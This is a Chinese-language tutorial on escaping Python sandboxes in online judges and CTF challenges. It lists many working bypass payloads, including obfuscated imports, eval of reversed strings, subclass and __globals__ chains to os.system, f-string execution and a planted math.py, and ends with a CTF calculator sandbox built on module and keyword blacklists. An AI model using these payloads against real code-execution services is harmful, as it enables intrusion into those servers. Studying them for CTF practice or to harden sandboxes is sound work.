一文看懂Python沙箱逃逸
讓用戶提交 Python 代碼并在服務(wù)器上執(zhí)行,是一些 OJ、量化網(wǎng)站重要的服務(wù),很多 CTF 也有類似的題。為了不讓惡意用戶執(zhí)行任意的 Python 代碼,就需要確保 Python 運行在沙箱中。沙箱經(jīng)常會禁用一些敏感的函數(shù),例如 os,研究怎么逃逸、防護這類沙箱還是蠻有意思的。
前言
Python 的沙箱逃逸的最終目標就是執(zhí)行系統(tǒng)任意命令,次一點的寫文件,再次一點的讀文件。
順便安利一本書:《流暢的 Python》。這本書有很多中高階知識點,很全面而且講的很清楚,如果你看過,相信理解這篇文章的大多數(shù)內(nèi)容都不是問題。
接下來的內(nèi)容先講系統(tǒng)命令執(zhí)行,再講文件寫入、讀取,并且均以 oj 為例,庫大多以 os 為例。
一、執(zhí)行系統(tǒng)命令
1. 基礎(chǔ)知識
先啰嗦一些基礎(chǔ)知識
在 Python 中執(zhí)行系統(tǒng)命令的方式有:
- os
- commands:僅限2.x
- subprocess
- timeit:timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1)
- platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()
- pty:pty.spawn('ls')、pty.os
- bdb:bdb.os、cgi.sys
- cgi:cgi.os、cgi.sys
- …
我寫了一個腳本,測試了一下所有的導(dǎo)入 os 或者 sys 的庫:
- #-*- coding:utf8 -*-
- # By Macr0phag3
- # in 2019-05-07 19:46:12
- # ------------------------------------
- # this, antigravity 庫刪掉
- all_modules_2 = [
- 'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser', 'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha'
- ]
- all_modules_3 = [
- 'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets', 'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize', '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi', 'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys', 'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os', 'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle', '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput', 'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited', '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq'
- ]
- methods = ['os', 'sys', '__builtins__']
- results = {}
- for module in all_modules_3:
- results[module] = {
- 'flag': 0,
- 'result': {}
- }
- try:
- m = __import__(module)
- attrs = dir(m)
- for method in methods:
- if method in attrs:
- result = 'yes'
- results[module]['flag'] = 1
- else:
- result = 'no'
- results[module]['result'][method] = result
- except Exception as e:
- print(e)
- for result in results:
- if results[result]['flag']:
- print('[+]' + result)
- for r in results[result]['result']:
- print(' [-]' + r + ': ' + results[result]['result'][r])
all_modules_2就是 2.x 的標準庫,all_modules_3 就是 3.x 的標準庫。
結(jié)果相當(dāng)多,這里就不貼了。這里注意一下,這個文件別命名為 test.py,如果命名為 test 會怎么樣呢?可以先猜一猜,后面會給解釋。
如果 oj 支持 import 的話,這些庫都是高危的,放任不管基本上是坐等被日。所以為了避免過濾不完善導(dǎo)致各種問題,在 Python 沙箱套一層 docker 肯定不會是壞事。
2. 花式 import
首先,禁用 import os 肯定是不行的,因為
- import os
- import os
- import os
- ...
都可以。如果多個空格也過濾了,Python 能夠 import 的可不止 import,還有 __import__:__import__('os'),__import__被干了還有 importlib:importlib.import_module('os').system('ls')
這樣就安全了嗎?實際上import可以通過其他方式完成?;叵胍幌?import 的原理,本質(zhì)上就是執(zhí)行一遍導(dǎo)入的庫。這個過程實際上可以用 execfile 來代替:
- execfile('/usr/lib/python2.7/os.py')
- system('ls')
不過要注意,2.x 才能用,3.x 刪了 execfile,不過可以這樣:
- with open('/usr/lib/python3.6/os.py','r') as f:
- exec(f.read())
- system('ls')
這個方法倒是 2.x、3.x 通用的。
不過要使用上面的這兩種方法,就必須知道庫的路徑。其實在大多數(shù)的環(huán)境下,庫都是默認路徑。如果 sys 沒被干掉的話,還可以確認一下,:
- import sys
- print(sys.path)
3. 花式處理字符串
代碼中要是出現(xiàn) os,直接不讓運行。那么可以利用字符串的各種變化來引入 os:
- __import__('so'[::-1]).system('ls')
- b = 'o'
- a = 's'
- __import__(a+b).system('ls')
還可以利用 eval 或者 exec:
- >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
- macr0phag3
- 0
- >>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
- macr0phag3
順便說一下,eval、exec 都是相當(dāng)危險的函數(shù),exec 比 eval 還要危險,它們一定要過濾,因為字符串有很多變形的方式,對字符串的處理可以有:逆序、變量拼接、base64、hex、rot13…等等,太多了。。。
4. 恢復(fù) sys.modules
sys.modules 是一個字典,里面儲存了加載過的模塊信息。如果 Python 是剛啟動的話,所列出的模塊就是解釋器在啟動時自動加載的模塊。有些庫例如 os 是默認被加載進來的,但是不能直接使用,原因在于 sys.modules 中未經(jīng) import 加載的模塊對當(dāng)前空間是不可見的。
如果將 os 從 sys.modules 中剔除,os 就徹底沒法用了:
- >>> sys.modules['os'] = 'not allowed'
- >>> import os
- >>> os.system('ls')
- Traceback (most recent call last):
- File "<stdin>", line 1, in <module>
- AttributeError: 'str' object has no attribute 'system'
- >>>
注意,這里不能用 del sys.modules['os'],因為,當(dāng) import 一個模塊時:import A,檢查 sys.modules 中是否已經(jīng)有 A,如果有則不加載,如果沒有則為 A 創(chuàng)建 module 對象,并加載 A。
所以刪了 sys.modules['os'] 只會讓 Python 重新加載一次 os。
看到這你肯定發(fā)現(xiàn)了,對于上面的過濾方式,繞過的方式可以是這樣:
- sys.modules['os'] = 'not allowed' # oj 為你加的
- del sys.modules['os']
- import os
- os.system('ls')
還有一種利用 __builtins__ 導(dǎo)入的方式,下面會詳細說。
5. 花式執(zhí)行函數(shù)
通過上面內(nèi)容我們很容易發(fā)現(xiàn),光引入 os 只不過是開始,如果把 system 這個函數(shù)干掉,也沒法通過os.system執(zhí)行系統(tǒng)命令,并且這里的system也不是字符串,也沒法直接做編碼等等操作。我遇到過一個環(huán)境,直接在/usr/lib/python2.7/os.py中刪了system函數(shù)。。。
不過,要明確的是,os 中能夠執(zhí)行系統(tǒng)命令的函數(shù)有很多:
- print(os.system('whoami'))
- print(os.popen('whoami').read())
- print(os.popen2('whoami').read()) # 2.x
- print(os.popen3('whoami').read()) # 2.x
- print(os.popen4('whoami').read()) # 2.x
- ...
應(yīng)該還有一些,可以在這里找找:
過濾system的時候說不定還有其他函數(shù)給漏了。
其次,可以通過 getattr 拿到對象的方法、屬性:
- import os
- getattr(os, 'metsys'[::-1])('whoami')
不讓出現(xiàn) import也沒事:
- >>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
- macr0phag3
- 0
一樣可以。這個方法同樣可以用于逃逸過濾 import 的沙箱。關(guān)于 __builtins__,見下文。
與 getattr 相似的還有 __getattr__、__getattribute__,它們自己的區(qū)別就是getattr相當(dāng)于class.attr,都是獲取類屬性/方法的一種方式,在獲取的時候會觸發(fā)__getattribute__,如果__getattribute__找不到,則觸發(fā)__getattr__,還找不到則報錯。更具體的這里就不解釋了,有興趣的話可以搜搜。
6. builtins、builtin與builtins
先說一下,builtin、builtins,__builtin__與__builtins__的區(qū)別:首先我們知道,在 Python 中,有很多函數(shù)不需要任何 import 就可以直接使用,例如chr、open。之所以可以這樣,是因為 Python 有個叫內(nèi)建模塊(或者叫內(nèi)建命名空間)的東西,它有一些常用函數(shù),變量和類。順便說一下,Python 對函數(shù)、變量、類等等的查找方式是按 LEGB 規(guī)則來找的,其中 B 即代表內(nèi)建模塊,這里也不再贅述了,有興趣的搜搜就明白了。
在 2.x 版本中,內(nèi)建模塊被命名為 __builtin__,到了 3.x 就成了 builtins。它們都需要 import 才能查看:
2.x:
- >>> import __builtin__
- >>> __builtin__
- <module '__builtin__' (built-in)>
3.x:
- >>> import builtins
- >>> builtins
- <module 'builtins' (built-in)>
但是,__builtins__ 兩者都有,實際上是__builtin__和builtins 的引用。它不需要導(dǎo)入,我估計是為了統(tǒng)一 2.x 和 3.x。不過__builtins__與__builtin__和builtins是有一點區(qū)別的,感興趣的話建議查一下,這里就不啰嗦了。不管怎么樣,__builtins__ 相對實用一點,并且在 __builtins__里有很多好東西:
- >>> '__import__' in dir(__builtins__)
- True
- >>> __builtins__.__dict__['__import__']('os').system('whoami')
- macr0phag3
- 0
- >>> 'eval' in dir(__builtins__)
- True
- >>> 'execfile' in dir(__builtins__)
- True
那么既然__builtins__有這么多危險的函數(shù),不如將里面的危險函數(shù)破壞了:
- __builtins__.__dict__['eval'] = 'not allowed'
或者直接刪了:
- del __builtins__.__dict__['eval']
但是我們可以利用 reload(__builtins__) 來恢復(fù) __builtins__。不過,我們在使用 reload 的時候也沒導(dǎo)入,說明reload也在 __builtins__里,那如果連reload都從__builtins__中刪了,就沒法恢復(fù)__builtins__了,需要另尋他法。還有一種情況是利用 exec command in _global 動態(tài)運行語句時的繞過,比如實現(xiàn)一個計算器的時候,下面有給出例子。
這里注意,2.x 的 reload 是內(nèi)建的,3.x 需要 import imp,然后再 imp.reload。你看,reload 的參數(shù)是 module,所以肯定還能用于重新載入其他模塊,這個放在下面說。
7. 通過繼承關(guān)系逃逸
在 Python 中提到繼承就不得不提 mro,mro就是方法解析順序,因為 Python 支持多重繼承,所以就必須有個方式判斷某個方法到底是 A 的還是 B 的。2.2 之前是經(jīng)典類,搜索是深度優(yōu)先;經(jīng)典類后來發(fā)展為新式類,使用廣度優(yōu)先搜索,再后來新式類的搜索變?yōu)?C3 算法;而 3.x 中新式類一統(tǒng)江湖,默認繼承 object,當(dāng)然也是使用的 C3 搜索算法。。。扯遠了扯遠了,感興趣的可以搜搜。不管怎么說,總是讓人去判斷繼承關(guān)系顯然是反人類的,所以 Python 中新式類都有個屬性,叫__mro__,是個元組,記錄了繼承關(guān)系:
- >>> ''.__class__.__mro__
- (<class 'str'>, <class 'object'>)
類的實例在獲取 __class__ 屬性時會指向該實例對應(yīng)的類??梢钥吹?,''屬于 str類,它繼承了 object 類,這個類是所有類的超類。具有相同功能的還有__base__和__bases__。需要注意的是,經(jīng)典類需要指明繼承 object 才會繼承它,否則是不會繼承的:
- >>> class test:
- ... pass
- ...
- >>> test.__bases__
- >>> class test(object):
- ... pass
- ...
- >>> test.__bases__
- (<type 'object'>,)
那么知道這個有什么用呢?
由于沒法直接引入 os,那么假如有個庫叫oos,在oos中引入了os,那么我們就可以通過__globals__拿到 os(__globals__是函數(shù)所在的全局命名空間中所定義的全局變量)。例如,site 這個庫就有 os:
- >>> import site
- >>> site.os
- <module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'>
也就是說,能引入 site 的話,就相當(dāng)于有 os。那如果 site 也被禁用了呢?沒事,本來也就沒打算直接 import site。可以利用 reload,變相加載 os:
- >>> import site
- >>> os
- Traceback (most recent call last):
- File "<stdin>", line 1, in <module>
- NameError: name 'os' is not defined
- >>> os = reload(site.os)
- >>> os.system('whoami')
- macr0phag3
- 0
還有,既然所有的類都繼承的object,那么我們先用__subclasses__看看它的子類,以 2.x 為例:
- >>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
- ...
- (0, <type 'type'>)
- (1, <type 'weakref'>)
- (2, <type 'weakcallableproxy'>)
- (3, <type 'weakproxy'>)
- (4, <type 'int'>)
- (5, <type 'basestring'>)
- (6, <type 'bytearray'>)
- (7, <type 'list'>)
- (8, <type 'NoneType'>)
- (9, <type 'NotImplementedType'>)
- (10, <type 'traceback'>)
- (11, <type 'super'>)
- (12, <type 'xrange'>)
- (13, <type 'dict'>)
- (14, <type 'set'>)
- (15, <type 'slice'>)
- (16, <type 'staticmethod'>)
- (17, <type 'complex'>)
- (18, <type 'float'>)
- (19, <type 'buffer'>)
- (20, <type 'long'>)
- (21, <type 'frozenset'>)
- (22, <type 'property'>)
- (23, <type 'memoryview'>)
- (24, <type 'tuple'>)
- (25, <type 'enumerate'>)
- (26, <type 'reversed'>)
- (27, <type 'code'>)
- (28, <type 'frame'>)
- (29, <type 'builtin_function_or_method'>)
- (30, <type 'instancemethod'>)
- (31, <type 'function'>)
- (32, <type 'classobj'>)
- (33, <type 'dictproxy'>)
- (34, <type 'generator'>)
- (35, <type 'getset_descriptor'>)
- (36, <type 'wrapper_descriptor'>)
- (37, <type 'instance'>)
- (38, <type 'ellipsis'>)
- (39, <type 'member_descriptor'>)
- (40, <type 'file'>)
- (41, <type 'PyCapsule'>)
- (42, <type 'cell'>)
- (43, <type 'callable-iterator'>)
- (44, <type 'iterator'>)
- (45, <type 'sys.long_info'>)
- (46, <type 'sys.float_info'>)
- (47, <type 'EncodingMap'>)
- (48, <type 'fieldnameiterator'>)
- (49, <type 'formatteriterator'>)
- (50, <type 'sys.version_info'>)
- (51, <type 'sys.flags'>)
- (52, <type 'exceptions.BaseException'>)
- (53, <type 'module'>)
- (54, <type 'imp.NullImporter'>)
- (55, <type 'zipimport.zipimporter'>)
- (56, <type 'posix.stat_result'>)
- (57, <type 'posix.statvfs_result'>)
- (58, <class 'warnings.WarningMessage'>)
- (59, <class 'warnings.catch_warnings'>)
- (60, <class '_weakrefset._IterationGuard'>)
- (61, <class '_weakrefset.WeakSet'>)
- (62, <class '_abcoll.Hashable'>)
- (63, <type 'classmethod'>)
- (64, <class '_abcoll.Iterable'>)
- (65, <class '_abcoll.Sized'>)
- (66, <class '_abcoll.Container'>)
- (67, <class '_abcoll.Callable'>)
- (68, <type 'dict_keys'>)
- (69, <type 'dict_items'>)
- (70, <type 'dict_values'>)
- (71, <class 'site._Printer'>)
- (72, <class 'site._Helper'>)
- (73, <type '_sre.SRE_Pattern'>)
- (74, <type '_sre.SRE_Match'>)
- (75, <type '_sre.SRE_Scanner'>)
- (76, <class 'site.Quitter'>)
- (77, <class 'codecs.IncrementalEncoder'>)
- (78, <class 'codecs.IncrementalDecoder'>)
可以看到,site 就在里面,以 2.x 的site._Printer為例:
- >>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']
- <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>
os 又回來了。并且 site 中還有 __builtins__。
這個方法不僅限于 A->os,還闊以是 A->B->os,比如 2.x 中的 warnings:
- >>> import warnings
- >>>
- >>> warnings.os
- Traceback (most recent call last):
- File "<stdin>", line 1, in <module>
- AttributeError: 'module' object has no attribute 'os'
- >>>
- >>> warnings.linecache
- <module 'linecache' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/linecache.pyc'>
- >>>
- >>> warnings.linecache.os
- <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'>
在繼承鏈中就可以這樣:
- >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')
- macr0phag3
- 0
順便說一下,warnings這個庫中有個函數(shù):warnings.catch_warnings,它有個_module屬性:
- def __init__(self, record=False, module=None):
- self._module = sys.modules['warnings'] if module is None else module
所以通過_module也可以構(gòu)造 payload:
- >>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
- macr0phag3
- 0
3.x 中的warnings雖然沒有 linecache,也有__builtins__。
同樣,py3.x 中有,利用方式可以為:
- >>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami')
- macr0phag3
- 0
順便提一下,object 本來就是可以使用的,如果沒過濾這個變量的話,payload 可以簡化為:
- object.__subclasses__()[117].__init__.__globals__['system']('whoami')
還有一種是利用builtin_function_or_method 的 __call__:
- "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1')
或者簡單一點:
- [].__getattribute__('append').__class__.__call__(eval, '1+1')
還可以這樣利用:
- class test(dict):
- def __init__(self):
- print(super(test, self).keys.__class__.__call__(eval, '1+1'))
- # 如果是 3.x 的話可以簡寫為:
- # super().keys.__class__.__call__(eval, '1+1'))
- test()
上面的這些利用方式總結(jié)起來就是通過__class__、__mro__、__subclasses__、__bases__等等屬性/方法去獲取 object,再根據(jù)__globals__找引入的__builtins__或者eval等等能夠直接被利用的庫,或者找到builtin_function_or_method類/類型__call__后直接運行eval。
繼承鏈的逃逸還有一些利用第三方庫的方式,比如 jinja2,這類利用方式應(yīng)該是叫 SSTI,可以看這個:傳送門,這里就不多說了。
二、文件讀寫
2.x 有個內(nèi)建的 file:
- >>> file('key').read()
- 'Macr0phag3\n'
- >>> file('key', 'w').write('Macr0phag3')
- >>> file('key').read()
- 'Macr0phag3'
還有個 open,2.x 與 3.x 通用。
還有一些庫,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)。
為什么說寫比讀危害大呢?因為如果能寫,可以將類似的文件保存為math.py,然后 import 進來:
math.py:
- import os
- print(os.system('whoami'))
調(diào)用
- >>> import math
- macr0phag3
- 0
這里需要注意的是,這里 py 文件命名是有技巧的。之所以要挑一個常用的標準庫是因為過濾庫名可能采用的是白名單。并且之前說過有些庫是在sys.modules中有的,這些庫無法這樣利用,會直接從sys.modules中加入,比如re:
- >>> 're' in sys.modules
- True
- >>> 'math' in sys.modules
- False
- >>>
當(dāng)然在import re 之前del sys.modules['re']也不是不可以…
這里的文件命名需要注意的地方和最開始的那個遍歷測試的文件一樣:由于待測試的庫中有個叫 test的,如果把遍歷測試的文件也命名為 test,會導(dǎo)致那個文件運行 2 次,因為自己 import 了自己。
讀文件暫時沒什么發(fā)現(xiàn)特別的地方。
剩下的就是根據(jù)上面的執(zhí)行系統(tǒng)命令采用的繞過方法去尋找 payload 了,比如:
- >>> __builtins__.open('key').read()
- 'Macr0phag3\n'
或者
- >>> ().__class__.__base__.__subclasses__()[40]('key').read()
- 'Macr0phag3'
三、其他
過濾[、]:這個行為不像是 oj 會做得出來的,ctf 倒是有可能出現(xiàn)。應(yīng)對的方式就是將[]的功能用pop 、__getitem__代替(實際上a[0]就是在內(nèi)部調(diào)用了a.__getitem__(0) ):
- >>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
- 'macr0phag3\n'
利用新特性:PEP 498 引入了 f-string,在 3.6 開始出現(xiàn):傳送門,食用方式:傳送門。所以我們就有了一種船新的利用方式:
- >>> f'{__import__("os").system("whoami")}'
- macr0phag3
- '0'
關(guān)注每次版本增加的新特性,或許能淘到點寶貝。
序列化相關(guān):序列化也是能用來逃逸,但是關(guān)于序列化的安全問題還挺多的,如果有時間我再寫一篇文章來討論好了。
四、栗子
這個例子來自iscc 2016的Pwn300 pycalc,相當(dāng)有趣:
- #!/usr/bin/env python2
- # -*- coding:utf-8 -*-
- def banner():
- print "============================================="
- print " Simple calculator implemented by python "
- print "============================================="
- return
- def getexp():
- return raw_input(">>> ")
- def _hook_import_(name, *args, **kwargs):
- module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
- 'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
- 'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
- 'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
- 'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
- 'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
- 'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
- 'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
- 'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
- 'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
- 'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
- 'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
- 'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
- for forbid in module_blacklist:
- if name == forbid: # don't let user import these modules
- raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
- # normal modules can be imported
- return __import__(name, *args, **kwargs)
- def sandbox_filter(command):
- blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
- '=', 'open', 'read', 'sys', ';', 'os']
- for forbid in blacklist:
- if forbid in command:
- return 0
- return 1
- def sandbox_exec(command): # sandbox user input
- result = 0
- __sandboxed_builtins__ = dict(__builtins__.__dict__)
- __sandboxed_builtins__['__import__'] = _hook_import_ # hook import
- del __sandboxed_builtins__['open']
- _global = {
- '__builtins__': __sandboxed_builtins__
- }
- if sandbox_filter(command) == 0:
- print 'Malicious user input detected!!!'
- exit(0)
- command = 'result = ' + command
- try:
- exec command in _global # do calculate in a sandboxed environment
- except Exception, e:
- print e
- return 0
- result = _global['result'] # extract the result
- return result
- banner()
- while 1:
- command = getexp()
- print sandbox_exec(command)
